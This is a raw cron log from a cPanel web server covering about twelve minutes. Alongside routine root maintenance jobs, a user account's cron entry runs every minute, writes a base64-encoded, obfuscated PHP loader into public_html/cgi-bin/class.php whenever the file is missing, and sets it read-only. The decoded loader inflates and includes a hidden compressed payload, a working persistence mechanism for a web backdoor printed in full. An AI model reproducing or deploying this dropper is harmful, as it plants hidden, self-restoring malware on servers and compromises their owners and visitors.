Nov 13 21:00:01 server CROND[16727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:00:01 server CROND[16730]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:01:01 server CROND[17487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:01:01 server CROND[17488]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 21:01:01 server run-parts(/etc/cron.hourly)[17488]: starting 0anacron
Nov 13 21:01:01 server run-parts(/etc/cron.hourly)[17510]: finished 0anacron
Nov 13 21:02:01 server CROND[18492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:03:01 server CROND[19358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:04:01 server CROND[20204]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:05:01 server CROND[21037]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 21:05:01 server CROND[21039]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:05:01 server CROND[21038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:05:01 server CROND[21040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:06:01 server CROND[21976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:07:01 server CROND[22762]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:08:01 server CROND[23621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:09:01 server CROND[24542]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 21:09:01 server CROND[24543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:10:01 server CROND[25413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:10:01 server CROND[25414]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:10:01 server CROND[25415]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 21:10:01 server CROND[25416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:11:01 server CROND[26347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:12:01 server CROND[27297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:12:01 server CROND[27298]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
